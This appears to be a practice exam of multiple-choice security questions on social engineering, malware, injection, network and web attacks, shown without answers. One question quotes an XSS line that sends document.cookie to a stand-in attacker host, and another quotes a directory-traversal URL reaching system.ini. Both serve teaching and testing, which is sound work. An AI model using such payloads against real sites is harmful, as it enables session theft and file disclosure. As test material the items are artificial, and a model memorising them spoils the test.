Attacks, Threats, and Vulnerabilities – Part D

Match the following social engineering techniques with their corresponding definitions.

Which of the following social engineering techniques involves utilizing messaging platforms to disseminate unsolicited communications to a significant number of recipients for commercial advertisement or non-commercial advocacy?

Which of the following types of social engineering techniques involves targeting a specific group of individuals by infecting websites that are frequently visited by members of that group?

A company has recently noticed a significant decrease in the performance of its network and servers. Upon investigation, it was discovered that a malicious software had infiltrated the network and was using the company’s resources to mine cryptocurrency. Which type of malware is MOST likely responsible for the decrease in network and server performance?

A technique by which both authorized and unauthorized individuals are able to bypass standard security protocols and attain elevated user access, such as root access, on a computer system, network, or software application is known as?

Match the following password attack techniques with their corresponding definitions:

An organization has recently been the victim of a cyber attack where an attacker was able to compromise a software vendor’s update server and distribute malware through software updates. As the IT security administrator for the organization, you have been tasked with identifying the type of attack that occurred. Which of the following types of attacks BEST describes the scenario described above?

Which of the following cryptographic attacks force victims to use older, more vulnerable versions of software in order to exploit known vulnerabilities against them?

Which of the following attacks is known as URL hijacking?

What type of attack involves an individual utilizing a compromised user account to gain unauthorized access to elevated privileges on a network?

Which of the following injection attacks enables an attacker to disrupt the queries that an application conducts with its database?

Which of the following are considered forms of cross-site request forgery (CSRF) attacks? (Select TWO.)

An individual within the organization initiates a financial transfer request by sending an encrypted message to the financial administrator. An attacker intercepts this message, captures it, and subsequently resends it, appearing as a legitimate request to the financial administrator. As the message is already encrypted and appears authentic, the financial administrator is likely to comply with the request, potentially resulting in a significant financial loss for the organization. Which type of attack is described above?

Which of the following types of attacks involves intercepting communications between an API endpoint and a client with the intent to steal or alter the confidential data being exchanged?

Which type of wireless network attack involves the perpetrator creating a counterfeit access point that appears legitimate, but is used for intercepting wireless communications?

An attacker is utilizing a Layer 2 type of attack to overload the MAC address table of a switch, causing it to enter a fail-open mode and effectively behave like a network hub. This allows the attacker to capture sensitive data from the network by intercepting all frames sent between devices on the network. Given the above scenario, identify the Layer 2 type of attack

A company has classified its data into three categories: public, confidential, and highly confidential. Which of the following is an appropriate non-technical control that can be implemented for the confidential data category?

An organization has experienced a security incident, and the incident response team needs to coordinate with the human resources department to investigate the incident. What is the primary reason for involving human resources in the incident response process?

A security team is trying to share information about a new type of malware with other organizations in their industry. The team wants to use a standardized format to share the information. Which threat intelligence sharing format should the team use?

An organization is reviewing its data types and is trying to determine which type of data should be classified as Restricted. Which of the following data types should be classified as Restricted?

As a security analyst, you have been assigned to conduct a source code analysis of multiple websites. While reviewing the source code, you come across the following code snippet:

"http://www.client-website.com/search ? location.href=' http://www.villainsite.com/hijacker.php?cookie= '+document.cookie; "

Given this scenario, what type of attack is the attacker attempting to execute against the client’s website?

An employee at a small business receives an email from a supposed client that includes a link to download a software update. The employee clicks on the link and unknowingly installs a malicious program on the company’s computer network. Which type of malware is most likely responsible for the compromise of the network?

You are working as a security administrator for a large organization. Recently, you have noticed that some of the employees are able to access systems and data that they are not authorized to access. You suspect that the issue is related to privilege escalation. Which of the following is the MOST likely cause of the privilege escalation issue in this scenario?

In which of the following types of Domain Name System (DNS) attacks, does an attacker introduce corrupt DNS data into a DNS resolver’s cache with the intent to redirect users to incorrect or malicious websites?

Which of the following attacks is a Network Layer DDoS attack?

The individual or group who unauthorizedly accesses and manipulates computer systems for personal or malicious purposes, such as data theft or system vandalism, is commonly referred to as:

Which of the following resources can help you identify web application vulnerabilities and ensure the security of your web application?

Which of the following terms refers to the unauthorized use or implementation of Information Technology (IT) applications and infrastructure within an enterprise without the knowledge or approval of the IT department?

A malicious actor was able to gain access to a company’s confidential data by exploiting a flaw in the company’s software. The company was not aware of the flaw and had not yet released a patch for it. Which of the following types of attacks best describes this incident?

What is the term used to describe the situation in which an Intrusion Detection System (IDS) identifies an activity as an attack, but the activity is actually considered acceptable behavior within the network?

During a penetration testing engagement, an individual is gathering information about the target organization’s network and infrastructure to identify potential vulnerabilities. Which phase of the penetration testing process is this individual in?

Which of the following cybersecurity testing exercise teams is known for its ability to perform both offensive and defensive tactics?

Which of the following terms describes the tactic of directing individuals from a legitimate webpage to a fraudulent URL, typically used to impersonate a reputable site and collect sensitive information from unsuspecting victims?

Which of the following terms refers to individuals who possess specialized knowledge and skills in the field of computer security, and use them for lawful and ethical purposes, rather than for malicious or illegal activities?

In a large data center, a security administrator wants to reduce the risk of unauthorized access to sensitive data by implementing physical segmentation. Which of the following would be the most effective solution?

As a security analyst, you have been assigned to conduct a vulnerability assessment of the company’s web assets utilizing the Acunetix Web Vulnerability Scanner tool. Upon reviewing the scan report, you have discovered a potential security issue related to the following URL:

http://test.webarticles.com/show.asp? view= ../../../../../Windows/system.ini  HTTP/1.1

Based on this information, what kind of vulnerability or attack is being indicated by this URL?

A security analyst is tasked with analyzing endpoint user behavior to identify any suspicious activity. Which of the following UEBA techniques would be MOST useful in this scenario?

What is the purpose of establishing ownership of data in an organization?

An organization has recently been the victim of a successful cyber attack. The attackers were able to exploit a known vulnerability in the organization’s network infrastructure. The organization wants to know more about the vulnerability and how it can be mitigated. Which of the following resources would be most useful in identifying the vulnerability and potential solutions?

A security analyst is conducting a security assessment of a company’s website and is attempting to identify any potential vulnerabilities that could be exploited. Which of the following steps would the analyst likely take to gather information about the website?